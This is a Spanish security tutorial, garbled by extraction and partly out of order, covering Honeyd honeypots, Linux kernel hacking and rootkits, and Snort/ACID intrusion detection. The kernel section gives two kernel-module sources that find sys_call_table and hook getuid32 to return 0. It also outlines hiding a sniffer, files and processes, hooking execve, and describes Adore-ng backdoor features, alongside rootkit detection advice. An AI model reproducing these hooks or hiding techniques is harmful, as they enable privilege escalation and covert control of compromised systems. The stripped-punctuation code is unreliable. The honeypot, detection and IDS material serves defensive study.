Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
